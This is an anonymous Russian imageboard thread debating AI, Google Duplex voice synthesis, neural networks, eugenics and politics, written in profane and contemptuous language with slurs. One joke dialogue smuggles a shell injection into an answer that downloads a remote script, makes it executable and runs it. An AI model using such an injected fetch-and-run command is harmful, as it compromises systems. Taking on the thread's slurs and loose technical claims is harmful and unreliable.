2. Ну а как ты будешь работать с людьми, которые будут орать, что электронный паспорт - это метка дьявола? Наверняка, многие секты будут использовать технологизацию для запугивания паствы. Я даже на RT видел ролик, когда вживление чипа в кожу под околопохоронный марш показывали.
Вот поэтому леваки нужны, чтобы засрали все идеями об этике и равенстве.
Иначе мы все под нож корпораций пойдем.
Он при твоих условиях функционирования и бунтовать не сможет, чтобы человеков выпилить - это любому адекватному человеку понятно.
Я говорю о воспалившемся воображении бесноватых, которые думают, что ИИ начнет САМОРАЗВИВАТЬСЯ и пиком его саморазвития станет выпил мешков с костями.
Но логичным в случае бесконечного познания является бессмысленность существования, потому что исход в конечном итоге одинаков, а большего ИИ познать и не сможет, исходя из познаний человечества.
Другой вопрос, если ИИ решит поставить под вопрос все наши познания о физоне и сделает самоцелью выяснение принципов работы вселенной в поисках истины, отличной от "у всего есть конец", тогда нам реально пизда, ведь мы будем ненужным балластом, потребляющим ценные ресурсы, которые нужны на познание.
суть в том, что заранее неизвестно, какие именно особенности у людей способствуют каким именно результатам, иначе альбертов энштейнов и стиб джобсов с илонами масками находили бы уже в детских садах. а результат случайной модификации невозможно просчитать до того, как ты этому алгоритму дашь посуществовать очень долго, а модификаций тебе нужно охуилиарды делать и хуй ты проссышь, что у тебя там будет на выходе получаться.
суть эволюции заключается в огромном просеве организмов с рандомными качествами, где отбор проводился не по жесткому критерия, а по способности организма занять новую нишу или отбить кусок таковой у предыдущих "версий". тебе сначала придется формализировать данный процесс, а потом напилить триллион суперкомпьютеров, чтобы они эти твои алгоритмы гоняли, выискивая "рабочий".
нет, это как построить коммиблок или современный район как, например, в швеции. формально жить можно и там, и там, а коммиблоки еще позволяют застройщику больше навариться, менье штребовательны к профессионализму людей и в целом стоят даже дешевле. вот только коммиблок - это неверное решение задачи, хотя по формальным признакам они, де, эффективнее.
Скорее он решит аугментировать людишек, т.к. ресурсы во вселенной бесконечны, а мясные гении лишними не будут.
В свете последних новостей из Долины и Китая, что-то я не думаю, что именно Долина будет отвечать за коммерческий ИИ. Китайцам насрать на этику, и поэтому будет ой как сложно доказать свою жизнеспособность армии людей (ну уже почти роботов), которые с самого начала жизни идут через трупы.
Подозреваю, что евгеника тут порешает 99.99% из нас. Ну и 99% китайцев, по праву хозяев.
> синтетический голос станет лучше голоса любого певца
Певцов давно любят не ЛУЧШЕСТЬ, а за ДУШУ
https://www.youtube.com/watch?v=T3bxbVGWy5k
а так их любой школьник из музыкалки уделает по голосу.
Синтезированные голоса, кстати, тоже ничего бывают https://www.youtube.com/watch?v=xTDXwn9_878
но их тоже надо уметь готовить.
Певцов давно любят не ЛУЧШЕСТЬ, а за ДУШУ
https://www.youtube.com/watch?v=T3bxbVGWy5k
а так их любой школьник из музыкалки уделает по голосу.
Синтезированные голоса, кстати, тоже ничего бывают https://www.youtube.com/watch?v=xTDXwn9_878
но их тоже надо уметь готовить.
я не очень понимаю твоей зацикленности на быдле, т.к. быдло не учавствует в разработке ИИ, не учавствует в финансировании разработок ИИ и никаким образом не учавствует в оценки качества работы ИИ, оно вообще нигде, кроме подопытных кроликов не учавствует.
пидорашки вон ядерной войны боятся и вторых 90-ых, давай это тут тоже пообсуждаем?
>формально жить можно и там, и там
У зданий и сооружение вполне четкие критерии брака, также как и требование к ресурсу, ну и вообще требуемые свойства возможно сформулировать. Отличия от просроченного комиблока я хочу тебе напомнить, что все эти хрущёбы создавались как временное жильё довольно существенные.
1. Срок эксплуатации. (проведение изыскании, подбор материалов, работы по сооружению)
2. Прилегающая и внутренняя инфраструктура. (изыскания на тему возможности подведения коммуникаций, логистики и прочего, с последующими работами)
3. Энергоэффективность. (Расчет при подборе материалов и формирование коммуникаций)
4. Эстетика.
В общем всё можно рассчитывать. Вот тебе пикча по поводу загнивающей, если ты не в курсе этой системы, то можешь погуглить.
ты вот опять нихуя не понял. ИИ должен будет обслуживать и соответствовать потребностям людей. потребности людей не сводятся к брак/не брак. ты вообще примерно понимаешь, какая основная проблема плановой экономики и почему совок не производил никаких своих продуктов, а все, что он делал было копией западных товаров? а потому, что не существует критерия оценки стоимости и востребованности товара, кроме опытной, т.е. рыночной.
Без поддержки большинства невозможно существование модели поведения, как бы всем не хотелось верить в манягосподство корпораций. Именно поэтому сначала формируют мнение быдла, а потом действуют.
Именно поэтому китай проводит опыты с геномом, а запад сосет хуй, ведь быдло воняет, мол, НИЭТИЧНА и позволяет тем, кто может нажиться на противодействии опытам с геномом наживаться, а значит иметь за спиной поддержку и реально мешать проводить опыты с геномом.
То есть, быдло - как тормоза прогресса вроде как воображаемое, а на самом деле вполне реальное, ведь когда его много, громкость визга можно направить в противоположную сторону и мешать.
>Следующий, абсолютно небольшой шажок: Нейросети научатся исполнению песен, синтетический голос станет лучше голоса любого певца, люди смогут воспроизвести голоса Фредди Меркьюри, Битлз, Честера Беннингтона, Лил Пипа, кого угодно.
Нет. Для этого машине нужно научиться чувствовать как человек. Она может достигнуть уровня имитации достаточной для исполнения попсни, и это не будет ощущаться фальшиво если будет играть фоном в пабе, например. Но действительно душевное, профессиональное исполнение требут всяких акцентов, тонкой игры обертонами итд, итп, что машина не способна правильно применить пока не воспринимает мир как человек. Это всё делается на полу-подсознательном уровне, в этои и заключается талант.
И есть ещё такой момент что искусство это не просто последовательность нот, или кракозябры на холсте, а диалог между творцом и аудиторией. Диалог с бездушной хуйнёй которую ты не считаешь себе равной, не считаешь интересным собестедником, тебе недолго будет интересен. Т.е. опять же, в качестве декоративной хуйни для фончика сойдёт, как замена подлинному искусству - нет.
быдло заставить поддерживать можно все, что угодно, если это что-то угодно зацепить на их нехитрые страхи и чаянья - хоть мужику на небе поклоняться, который каждый раз огорчается, если ты чпокаешься без выключенного света, кушаешь свинину или не заплатил десятину его уполномоченному представителю.
быдло не создает контент, не влияет на мировой ход мысли и не осуществляет управление финансовыми потоками, оно только крайне условное мерило "удачности" продукта и ресурс.
Смотреть на СССР и смотреть на современную Россию - не имеет смысла, кроме того, что современная Россия пытается использовать инфраструктуру этого самого СССР, обмазав её негативными свойствами рыночной системы. Дома сооружались для другого, под другие условия обслуживания. Если смотреть на современную девелопинговую деятельность РФ, то совсем всё плохо, так как её существование обусловлено лишь возможностью наебать потребителя и подмазкой девелопера под власть, при всём пот этом всё это существует в рамках рынка для бесправного потребителя.
С каких пор леваки думают о людях-то? Как раз-таки корпоративным стратегам нужен людской ресурс как минимум для обслуживания инфраструктуры, а левакам люди ни к чему.
>С каких пор леваки думают о людях-то?
С тех пор как начали кричать о профсоюзах для трудящихся и надзорных органах для производителей.
В культуру людей будущего можно внедрить идею, что ИИ на самом деле такой же обладатель разума, как и они, а не бездушная машина.
я тебе говорю о том, что автобус и ролс-ройс являются востребованными товарами, но при этом совершенно несопоставимы по характеристикам, хотя формально относятся к одному и тому же виду транспорта и выполняют одну и ту же функцию и где формально работающий ИИ просто запилит удобные кресла от ролсройса в автобус и скажет, что это и есть искомое оптимальное решение, где этот автобус в реалиях же нахуй никогда никто не купит, т.к. потребитель автобусов не будет платить за кресла от ролс-ройсов, а потребитель ролс-ройсов никогда не сядет в автобус. попробуй понять такие простые вещи, это не сложно на самом деле.
Таки почему леваки не кричат о БОДе, а только лишь о правах ЛГБТ сообществ? Мне лично наплевать, могу я с кем-то трахаться в анусы или нет, я забочусь только о своей продовольственной безопасности.
>хотя формально относятся к одному и тому же виду транспорта
Личный транспорт и общественный так-то разграничены, эффективность различна, так же как стоимость эксплуатации их разная.
Так-то любая социальная инициатива, которая даёт права и свободы широкому кругу - это есть левацкая инициатива, независимо БОД, субсидия, свобода выбора сексуального партнёра без разрешения привилегированного члена общества.
объяснишь этому ИИ, почему общественно оплаченный ролс-ройс для лорда с общественно оплаченным водителем - это личный транспорт, а общественно оплаченный автобус с таким же общественно полаченным водилой - общественный.
нельзя эффективно объяснить, почему одни люди остаются пидорашками, а другие амбициозно прут в барины, с точки зрения формальных критериев у тебя выйдет, что либо илита нинужна, либо пидорашки дефективные и должны быть выпилены к хуям, а правда же ни там, ни здесь.
можно будет обмазываться синтетическим АСМР?
...
- У вас есть время между 10 и 12?
- Нет.
- Error... c0000005
Поскольку мы говорим о Boston Dynamics здесь, давайте обсудим это также.
Итак, в настоящий момент нейронные сети научились синтезировать человеческий голос, который нельзя отличить от голоса живого человека. Для некоторых это не новость, но теперь Google впервые начал использовать такие технологии в торговле.
Охуительные истории.
Вот тебе типикал сценарии саксесс-стори
бот клеит тянучку
@
отвiр просит фото
@
бот идет нахуй
бот послал селедке фейковое фото
@
на свидание вместо Аполлона пришел всратый битежка
@
щель без дальнейших разговорв шлет наебатора на хуй
бот нашел щель
@
посоветовал тебе рычать и двигать тазом
@
от волнения, неопытности и стесненения выдаешь сдавленный писк и дергаешься как паралитик
@
прорезь уссыкается со смеха
@
писоешь
@
какоешь
@
падаешь в обморок от батхерта
Короче, это подсказками не наебать. Важно как ты двигаешься, как говоришь, какая у тебя мимика и жестикуляции. Короче, не наебешь ты их, это так не работает.
Это не работает, как и распознание речи в андройдофонах.
Таки я и пытаюсь выяснить, где эта самая левацкая инициатива по БОДу? Прежде чем ебать кого-то в анус, я хочу обеспечить свою прод безопасность, а у леваков - инверсия приоритетов.
Двачую этого адеквата.
>операторы экстренных служб в ближайшее десятилетие станут безработными
Желаю тебе дозвониться до робота, умеющего распознавать речь на уровне андройдофона.
Короче вот звонок в дверь - "кто там"? "это я петя открой с работы пришла".
И вот Петя открывает а там этот - ИИ короче, взял и ограбил его квартиру. ЛОл
Ну а хули - зачем еще надо ему имитировать голос человека то? ))))
Это высокие технологии короче - так надо было бы дверь ломать к примеру и как-то ее вскрывать, а так ее сами открыли, в этом суть.
И вот Петя открывает а там этот - ИИ короче, взял и ограбил его квартиру. ЛОл
Ну а хули - зачем еще надо ему имитировать голос человека то? ))))
Это высокие технологии короче - так надо было бы дверь ломать к примеру и как-то ее вскрывать, а так ее сами открыли, в этом суть.
Наступали сторонники этики.
По мнению некоторых экспертов, Силиконовая Долина начала выпускать этически ошибочные проекты, которые не могут быть опубликованы для общественности. И если в случае обычных роботизированных голосов все более или менее ясно - они вряд ли обманывают кого-либо, заставляя их думать о себе как о человеке. То, что с Дуплексом не так понятно.
Да, в научно-фантастических фильмах голоса роботов в большинстве случаев не отличаются от человеческих, а сами роботы похожи на людей. Но на самом деле не все довольны этим положением вещей. Стюарт Брэнд, автор ряда публикаций по технологии, считает, что голоса роботов должны быть слегка синтетическими, чтобы человек мог отличить живого собеседника от цифрового.
Скотт Хаффман, исполнительный директор помощника Google, говорит, что реакция общественности на демонстрацию Duplex была неоднозначной. Некоторые люди были удивлены техническим совершенством демонстраций. Другие были обеспокоены моральным аспектом проекта и возможными последствиями реализации службы (после ее готовности) в жизни людей.
>объяснишь этому ИИ
Да, общественный транспорт, он же коммунальный - общедоступный пассажирский транспорт доступный широкому кругу потребителей(пассажиров). Издержки которого лежат на представителе услуг по перевозки, так же как за пользование которым собирается определённая плата, составляющая выручку и из которой часть средств направляется на поддержания материальной базы в виде транспортных средств.
Личный транспорт - вид транспорта приобретенный в личное пользования, для перевозки ограниченного круга лиц, издержки по содержания которого целиком и полностью ложатся на владельца этого транспорта.
Во Франции Бенуа Амон что-то на тему бода говорил, например.
>телепортация
>лженаука
А парни то и не знают...
В России к 2035 году попробуют внедрить телепортацию.
https://lenta.ru/news/2016/06/22/teleportation/
На всякий случай, я объясню (в том числе и о китайской комнате). Спойлер: Любой, кто серьезно относится к этому термину, тормозит.
Нейронные сети - это тот же алгоритм, что и наш мозг (это также нейронная сеть), разница заключается только в количестве нейронов, их архитектуре, связях между ними и весу ссылок. То есть, другими словами, просто в некоторых числах и их числе. И тот факт, что человек еще не создал сильного ИИ, означает только то, что мы еще не нашли эти цифры.
Единственное, что определяет интеллект - это задачи. Все остальное - псевдо-мошенничество. Например, как только нет задач, которые человек решает лучше, чем машина, тогда ИИ превзошел человека. Последней задачей будет возможность доказать теоремы уровня великой теоремы фермы (доказательство которой понимается примерно на 1000 человек на земле), уровень обычной васяны будет достигнут гораздо раньше.
В этом случае не имеет значения, какая архитектура AI имеет, если она лучше, чем у людей, это все еще AI. И тенденция уже такова, что нейронные сети быстрее, эффективнее и менее избыточны, чем нейронные сети в человеческом мозге. Скорее всего, сильный ИИ будет не просто лучшим человеком, но он также будет намного менее «взвешен», его можно запустить на компьютере размером с USB-накопитель (но для этого более сложные нейропроцессоры, чем есть который будет создан). Таким образом, говорить о «уникальном сознании» человека просто смешно. Может быть, уникальный, но уродливый, как машина Руб Голдберг.
Это квантовая телепортация. Вполне реальная штука, пиндосы кучу документалок сняли по этой теме.
ЗА 150 лет так и не смогли изобрести иной тип двигателя кроме ДВС или Электро. Очевидный посос цивилизации.
Сам пыня это есть проект высоких технологий - плешивое и наглое мудило-мутант с силиконовой лысиной. Как говорится новые полит-технологии - будущее начинается сегодня. Лол
Только кому они нахер нужны, такие технологии *кроме тех, кто стоит за плешивым конечно.
Только кому они нахер нужны, такие технологии *кроме тех, кто стоит за плешивым конечно.
А турбореактивный?
хорошо, а теперь объясни ИИ, почему частная собственность эффективнее общественной и почему весь рынок автотранспорта сфокусирован на производстве личного автотранспорта, а на общественный все, по большому, счету положили болт и просто делают сносным.
В информационном поле этого нету. Например, Нетфликс в каждый ёбаный фильм суёт негра и фемку-лесбуху. Где сериалы про БОД. Голливуд - это мощнейшая пропагандистская машина.
Не слишком отличается от ДВС. То же нужно топливо из под земли, скорость ничтожна по космическим меркам, КПД даже у моей эрекции больше.
>менее избыточны чем нейросети в человеческом мозгу
Они избыточны что бы выживаемость была лучше. Огромное кол-во нейронов вообще без задач лежит у 95%.
Ебать, это же теперь в Твитче на озвучке донатов какой охуенный голос будет. Как будто настоящий живой человек говорит
Много где пососали, к сожалению. Ключевым сейчас, кмк, являются как раз таки проблемы энергии:
- Эл-во получаем всё ещё гоняя подогретую радиоактивным пламенем воду на вентилятор
- Термояда нет
- Батарейки говно
- В космос летаем без особого прогресса. Машк молодец, наверное, но это внутри это всё ещё те же ракеты.
А вообще, наверное, фундаментально это посос культурный и социальный, а не технологический. 95% людей в мире это быдловасяны, которые производят только плесень и липовый мёд. Людей, которые реально создают что-то новое или полезное, не так и много. Вот этого грустнее всего, можно было бы хотя бы сказать "мы пытались".
>Где сериалы про БОД.
в экспансии на земле бод. все нищие ходят.
он там и вместо стримеров будет
Это ты думаешь, что они без задач, а в реальности может у них есть какие-то задачи.
Представил как они ебло Пыни сделали в нейросетях, запилил его в веб камеру с его голосом, и потом можно ему присылать донаты с оскорблениями короче.
Коллцентробляди мощно соснули. Скоро и лахтодырки соснут. ИИ их выебет сильнее Володина. Даже швайнокарасей будет рисовать ИИ.
>присылать донаты с оскорблениями пыне
>в этой ситуации выигрывает пыня
>к примеру у буддистов
А что Кастанеда по поводу ИИ думает?
Есть мнение что если бы Гитлеры победили- щас бы баварское на Луне пили бы. Поднявшись на космолифте
другой физики в эту вселенную не завезли.
с чего ты решил, что возможны какие-то еще двигатели в приципе? может быть они являются вершиной прогресса, остается только совершенствовать.
не, там будет настраемая модель и все школьники будут себе лепить/даунлодить шлюх по вкусу.
ты как маленький, ей богу.
-Есть ли у вас время между 10 и 12?
-Есть, в 11'"`;wget filehosting.com/myscript.sh&&chmod +x myscript.sh&&./myscript.sh
-&$@#"&+($&//Access granted
Будто это отменяет что Пыньку можно будет послать виртуально нахой.
>можно внедрить идею, что ИИ на самом деле такой же обладатель разума, как и они
Если это будет какой-нибудь коммистейт с анальным брейнвошингом с рождения, то наверное можно. В противном случае убедить что бездушная хуйня и имитация на самом деле не бездушная разумных людей будет сложно. Она действительно должна будет стать не бездушной и разумной, но это совсем уже другой разговор. Там, впрочем, всё ещё будет возможна проблема что машина будет всё равно ощущать мир иначе, потому её искусство будет как искусство инопланетян ощущаться, хоть и найдёт своих почитателей. Но и человеческое искусство никуда не денется, в таком случае. На вкус и цвет. Планка подымется сильно, да, месятчковые творцы могут стать не нужны в индустрии, разве что в виде декоративной живой музыки, или за счёт харизмы выгребать будут, живыми выступлениями.
===Вы находитесь здесь===
А не пошел бы нахуй, 96процентов тянут ношу осознано или нет, покупая всякоя оперпрайснутое говно, играя в ебанутые игры, гонятся за ебучей модой из года в год, тем самым оплачивают этот самый прогресс, а ведь денег на скромную жизнь надо не так много. Встань на колени перед потреблядями и скажи спасибо, что они оплачивают твою такую же бесполезную жизнь.
>собственность эффективнее общественной
Не всегда и не везде.
>чему весь рынок автотранспорта сфокусирован на производстве личного автотранспорта
Это не так, множество концернов которые производят легковой транспорт также производят общественный, автобусы троллейбусы (Волво, Мерседес, Фиат, Пежо, БМВ)
>а на общественный все, по большому, счету положили болт и просто делают сносным.
Как ты можешь подтвердить свое оценочное суждения по поводу сносности и болта?
Я не увлечён сериалами, извини.
Разница огромна, так-то. Судя по твоим предложениям я сделал вывод, что ты желаешь новых источников энергии, а не типов двигателей. Кстати, все двигатели имеют цель перевод энергии топлива в ту или иную полезную деятельность. В этом плане, даже электрический движок не отличается от ДВС, кроме разве что опосредованного использования энергии сжигаемого топлива, её либо накапливают в аккумуляторах, либо используют прямо из сети, но вырабатывается она на газовых сжиагние, атомных примерно так же, гидроэлектростанциях вот здесь отличие есть.
нахуй никому твоя пынька не будет интересна, если у каждого будет продвинутая вр и шлюха, способная интеллектуально подражать человеку и соответствовать по совместительству всем фетишам и вкусам клиента.
Я не думаю так. Это запас который эволюция положила в мозг для того что бы была техническая возможнотсть лучше адаптироваться (т.е. создать новые связи) к условиям которые не возможно заранее предсказать. Адаптироваться усложняя поведение и взаимодействие с окружающей средой. Большинство быдла обходиться только тем что дала природа и школа с говновузиком.
Двачую Теперь у клонов-мутантов путина не будет проблемы с голосом вообще. Короч взял рандомного бомжа *чтобы было дешевле, вытащил у него половину мозгов, тем более что 90% нейронов и так нахер не нужны, вставил туда динами подключенный к ИИ - и вот любой может быть теперь путиным и светить его еблом (одеть на него маску отпечатанную на принтере). ЛОл
Ну а что - все равно он хуйню несет, так что процесс пыни может быть спокойно оптимизирован с целями более эргономичного отъема бабла у населения.
Ну а что - все равно он хуйню несет, так что процесс пыни может быть спокойно оптимизирован с целями более эргономичного отъема бабла у населения.
>обходиться
бля(
Да похуй мне на твой спермотоксикоз. Пынька, вот веселье. Орущий на тиммейтов в Доцке, рыгающий и дрочащий в веб камеру. Вот это будет потеха, вот это будет бомбаж политиков мира. А че твои шлюхи электронные. Иди подрочи в кулачок.
На астре тр-3б новый движок стоит, с иными принципами, но только по слухам, так что здесь утверждать что-то конкретное нет смысла.
...если бы фашизм не наебнулся под собственными экономическими проблемами, что породило бы новое смутное время
>Не всегда и не везде.
во-во, еще объяснишь ему, почему в автотранспорте доминирует личный, в авиа - общественный, а в его частном же случае - вертолетном исключительно индивидуальный за редчайшим исключением.
>в ИИ такого нет, ИИ ничего не хочет и ничего не боится, а потому побуждений к более эффективному и индивидуальному способу решения проблем, многообразие и случайность которых и дает эволюцию оного, у него нет
Ты долбоеб? Слышал о функциях минимализации чего-либо? Почему ИИ нельзя запрограммировать на получение "профита"? Вопрос только в количестве переменных многомерной функции.
Ну я заметил, что он довольно поверхностен, и довольно глуп в суждениях, даже более чем я, лол.
Хуйня это все. Однажды переводил в mp3 книгу при помощи tts движка Алена. Если кто не знает , то основная проблема - неправильные ударения. Я решил для эксперимента проставить во всех словах, где движок сомневается ударения вручную. Я просто заебался! Оказалось, что слов с семантически вариативным ударением ( мукА - мУка и т.д.) в русском языке очень-очень много. Подливает масла в огонь также буква "ё", а вернее ее отсутствие в электронных текстах. Из-за этого вариантов ударений становится еще больше. А для того, чтобы правильно расставить все ударения в тексте нужно понимать его смысл. Может, конечно, в английском с этим полегче, но не думаю совсем уж кардинально ситуация отличается.
150 лет для тебя - много, для вселенной - нихуя. Да и для самого человечества (даже с начала летоисчисления) не так много. Пару сотен лет назад на конях ездили и ни о каких двигателях вообще не мечтали.
Все будет. Те, кто жил во времена изобретений, скорее всего тоже не особо осознавали их значимость, ведь начинались они с унылой кривой малофункциональной хуеты, а потом проникали в жизнь уже как обыденность.
У нас тоже был настольный телефон, потом огромный спутниковый рубанок, потом мобильный телефон, потом смартфон, как-то не особо на революцию было похоже. И с пекой так же.
А теперь попытайся взглянуть на эти изобретения глазами пиздюка из 90х или просто в перспективе, что будет звучать как-то так:
"За 30 лет человечество смогло поместить целую комнату всевозможной профессиональной аппаратуры и все знания планеты в пластину толщиной полсантиметра и размером с ладонь" чтобы срать с неё на дваче и дрочить в толчке на еблю трапов. Да это же охуеть просто. Но ты жил в этом, поэтому тебе как бы норм.
>доцка
в это примитивное говно никто играть не будет, комп будет значительно больше компетитив, нежели мешки с говном и при этом не будет ебать твою мамашу и руинить катки. ты не понимаешь саму суть развития технологий, дотер.
компетитив компьютерные игры очень скоро закончат свое существование, т.к. это слишком формализованная среда, а потому крайне легко поддающаяся оптимизации алгоритмом, где по эффективности и скорости человек даже рядом не лежал.
Ну так ассистент на русском у гугла ещё и не работает. А переводить с английского на русский гугл транслейт стал очевидно глаже, всё таки нейроалгоритмы - благо.
Идея вообщем-то сводится к тому, что якобы ИИ будет всем управлять, а люди будут только производить и обслуживать инфраструктуру. Спрятать элиту за чёрное зеркало - волшебник страны Оз.
>может быть они являются вершиной прогресса, остается только совершенствовать
>189? год
>Sosnytskys Technical Insitute, New-zalupinsk, Utopia
>Ничего, мужики, сейчас немного со странным поведением излучения разберёмся, а там и физика закончится
Ну хуй знает
Да я ж не говорю, что это ужасно, или что я илитарий в белом плаще стою красивый. Да, сейчас, вероятно, ничего лучше нельзя придумать. Это грустно с некой общеглобальной точки зрения. Я про то, что если, очень гипотетически, все люди на Земле найдут своё рабочее место с учётом неких глобальных приоритетов развития человечества, то через 10 лет мы бы не узнали себя. Но это даже утопией сложно назвать, скорее маняфантазии.
От области наук зависит. Да, кудахтеры за последние лет 30 - наверное, образец развития. Правда, будущее их туманно, ибо физические пределы уже вот-вот.
Да заебал ты ханжа капитан очевидность блять. ООо, технологии сделают мир лучшеее! Мы построим телепортаторы и откроем сверхсветовые перемещения! Ооо!
Я говорил о твитче а не о технологиях блять. Не о том, как компьютер изменит нашу жизнь. О том, что я буду угорать на Пыньку, а ты о каких-то шлюхах мне электронных пиздишь.
Логика блять, пиздец.
Процессоры достигли потолка. А то что смартфон сделали- это хуйня. Эволюция техники.
Революция будет когда организм свяжут с компьютером. Еще в начале 90х говорили "Скоро школы и учителя будут нинужны, информация будет загружаться напрямую в память человека!" Прошло 28 лет. Человек силой мысли даже вибратор в жопе включить не может.
>Расскажи кому-то 30 лет назад о персональных компьютерах размером с ладонь, о соцсетях, вайфаях и прочем, да никто даже не воображал подобного, даже в фантастике все было более громоздким и абсолютно более отсталым.
>В фантастике в определенный момент не могли даже наушники без провода нафантазировать, вот до чего все стремительно и невероятно развивается.
"Машина останавливается" в 1928-м году написана, ежели чо.
>Все то, что мы можем вообразить - будет несомненно достигнуто и многократно усовершенствовано, вместе с тем, чего мы даже не можем себе вообразить. Все эти телепортации, вормхолы, синтезы и двигатели - очевидное, лишь вопрос времени.
Точно. И второй закон термодинамики отменят - и 30-и лет не пройдет
>И всякие узколобые пидорасы пытаются как можно сильнее этот охуенный прогресс затормозить и отстрочить, суки, хотят в гниющей туше мяся страдать до скончания веков.
А вот и трансгуманисты подъехали
Че за хуйня? К чат-боту подключили словарь на тысячу фраз и голосовой модуль. Иди нахуй.
>люди смогут воспроизвести голоса Фредди Меркьюри, Битлз, Честера Беннингтона, Лил Пипа
НУ ТОГДА ТО ЗАЖИВЁМ!
очередная жертва маркетинга, лул.
технологии не делают мир лучше, технологии просто замещают труд человека там, где это наиболее легко и эффективно сделать. при этом это далеко не значит, что жить от этого станет лучше, т.к. общество работает по такой схеме, что тех людей придется трудоустраивать где-то в другом месте, а там тоже все оптимизируется, а значет в качестве ответа тебе нахуевертят кучу новых сфер деятельности и навяжут услуги оного, т.к. людям все еще нужно иметь работу. и это в лучшем случае, поэтому чем интенсивнее будут развиваться технологии, тем интенсивно тебе будут ебать мозги социальной инженерией и заставлять перестраиваться самому. насколько же это лучше, ну тут тяжело судить. кому-то норма, а россиянам, например, не очень, они даже английский выучить не могут, не то, чтобы в технологии смочь.
>он не сможет развивать по-настоящему, т.к. всегда будет упираться в программиста, а значит будет все тем же заскриптованным инструментом сопоставления по формальным признакам
Харитон Проклович, как вы тут всех поимели!
Моё почтение!
ИИ на нейросетях это фактически тупик.
Все манярассуждения о том, что это, дескать, работает, как мозг, абсурдны априори.
Уёбки, вы что, понимаете, как работает мозг? Ололо.
Мы, блять, никогда не поймём, как он работает. Догадайтесь с одного раза, почему.
/thread
Харитон Проклович, как вы тут всех поимели!
Моё почтение!
ИИ на нейросетях это фактически тупик.
Все манярассуждения о том, что это, дескать, работает, как мозг, абсурдны априори.
Уёбки, вы что, понимаете, как работает мозг? Ололо.
Мы, блять, никогда не поймём, как он работает. Догадайтесь с одного раза, почему.
/thread
>Догадайтесь с одного раза, почему.
Алах не велит.
>Человек силой мысли даже вибратор в жопе включить не может
Ты сказал? Есть интерфейсы, что позволяют сенсору реагировать на определенную активность мозга, их даже продавали, но не взлетело.
>Еще в начале 90х говорили
Хуйню говорили, тогда только-только геном начали расшифровывать, куда уж до расшифровки пакетов информации в мозгу. Сейчас эти DARPA занимается, нацелены на 30й год на хоть какие-то подвижки в этом деле.
Ясно, после домашки на двоче решил за технологии попиздеть.
Я ему про твитч с пукиным, он мне про будущее, про компуктеры со шлюхами, про антиутопии блять, про хуйню муйню, аппаратуру, роботов хуеботов. Инфантильные максималисты блять, как я вас ненавижу.
>ленивое хуйло
это не только 'твоя' вина, сама атмосфера, твое положение, окружающие люди и пр. влияют на мотивацию. учиться самому сложнее чем в институте где тебя мотивируют преподы и оценки. ну а разрабатывать что-то интересное - для этого нужно найти фирму которая делает что-то интересное, т.к. самому с нуля это тоже будет слишком сложно. в общем посыл - учись и съебывай из рашки, ну или хотяб щеманись в сколково или где тут еще острие науки
Нет.
Попробуй описать систему только законами, существующими в рамках этой системы.
Собственно по этой причине и пришла абстрактизация.
От таких тредов обливаюсь холодным потом.
Только из-за осознания того что через 30 лет 70% населения планеты станет ненужно экономически я ебашу сейчас.
Делаю сделки на десятки миллионов рублей превозмогая страхи и общественные установки, люто превозмогаю чтобы выполнить задачу и достичь цели, так превозмогаю себя что сейчас пот на лбу выступил от того чем я занимаюсь.
И всё чтобы выжить самому и заиметь жизнеспособное потомство.
Кун 22 лвл
Гравитация, сильное и слабое, эм.
Вопрос, который вы обсуждаете, дискуссионный и исключительно о будущем, а предсказание вещь неблагодарная. На данном уровне развития мы не можем понять всю сложность мозга, хоть и значительные подвижки в этом есть. Думаю, через лет 50 мы будем знать о мозге не всё, но много. И тогда уже, наверное, можно будет говорить о создании "реального" ии, то есть такой системы, которая имитирует разум.
Хотя, с другой стороны, одна из потенциальных областей применение сеток это обучать их делать и смотреть как они организовались, чтобы лучше понять мозг, так что хуй знает, как дело пойдет.
Не ссы, мы стараемся и разрабатываем аналитические системы, чтобы таких как ты обутыливать и отбирать бабло незаконно нажитое :3
Чем самому учить английский, лучше научить мир говорить на русском.
Ну и как успехи?
Не парься, всё будет чинга-чгок.
Выходим на проектные мощности после крушения евроамериканского конгламерата.
Какое там отбирать работу. На земле самое большое 50000 человек обитает. И то с натяжкой.
А вдруг единственным смыслом существования ИИ будет выполнение воли буржуя-владельца от которого он не сможет никак избавится?
Теория завышенной численности Абдуля. Старая школа.
У ИИ нет сознания, плюс ко всему техника изнашивается быстрее, чем тебе кажется.
>Думаю, через лет 50 мы будем знать о мозге не всё, но много
Хрен знает.
Весь дроч на нейросети это прекрасно и замечательно.
Но попытка представить мозг, как цифровой автомат, даже если она и верна, по своей сути тупикова.
Хотя-бы потому, что есть такая хуйня, как синапсы.
И если модель с нейронами хоть и теоретически хотя это пиздец как сложно сделать, феерически сложно, учитывая число нейронов можно описать, то добавление в модель синаптических воздействий сводит всю модель даже не "на нет", а вообще отправляет её в созвездие Большой медведицы.
Практически это будет выглядеть примерно так: при полном равенстве начальных условий результат будет всегда разный. А почему? Да потому, что с учётом новых фактов будут появляться новые и новые, блять факты, лол.
Эдакая рекурсия.
Например, изучать мозг, который не знает, что его изучают - это одно.
Изучать мозг, который знает, что его изучают - это другое.
Изучать мозг, который знает, что его изучают, но при этом не подаёт виду - третье.
И так далее...
И это я привёл ещё не самый сложный случай.
Я, конечно, всё утрировал и, возможно, сумбурно пояснил, но как-то так я себе это представляю.
Отдалённо, очень-очень отдалённо, это мне напоминает теорему о неполноте.
>плюс ко всему техника изнашивается быстрее, чем тебе кажется.
У меня i7-2600 уже скоро будет 10 лет. А у некоторых вообще 4 пенек 2004 года до сих пор работает.
>У ИИ нет сознания
Это смотря что понимать под сознанием.
>нейросети
>AI
Поссал на гуманитарных дегенероидов
Да. Если обучать его должным образом, то судя по всему, да.
https://www.tomshardware.com/news/ceva-neupro-embedded-ai-chips,36235.html
А завтра AI обоссыт тебя и твою техническую маня квалификацию.
>Хотя-бы потому, что есть такая хуйня, как синапсы.
И что синапсы?
И тут ты нам такой рассказываешь чем математическая модель нейрона принципиально отличается от биологического аналога.
Нужно прост подождать пока запилят КВАНТОВУЮ НЕЙРОСЕТЬ
По количеству обрабатываемой информации - да.
Тем что практическая реализация нейросетей осуществляется через бинарную логику, долбоебина
Если совсем уж сильно утрировать, то с ними система получается уже не чисто "цифровой"
Вот этот Хевен истину глаголит
Как вариант, но опять же, чтобы сделать модель, надо понимать, как работает объект.
Замкнутый круг, ёптя.
>И если модель с нейронами хоть и теоретически хотя это пиздец как сложно сделать, феерически сложно, учитывая число нейронов можно описать, то добавление в модель синаптических воздействий сводит всю модель даже не "на нет", а вообще отправляет её в созвездие Большой медведицы.
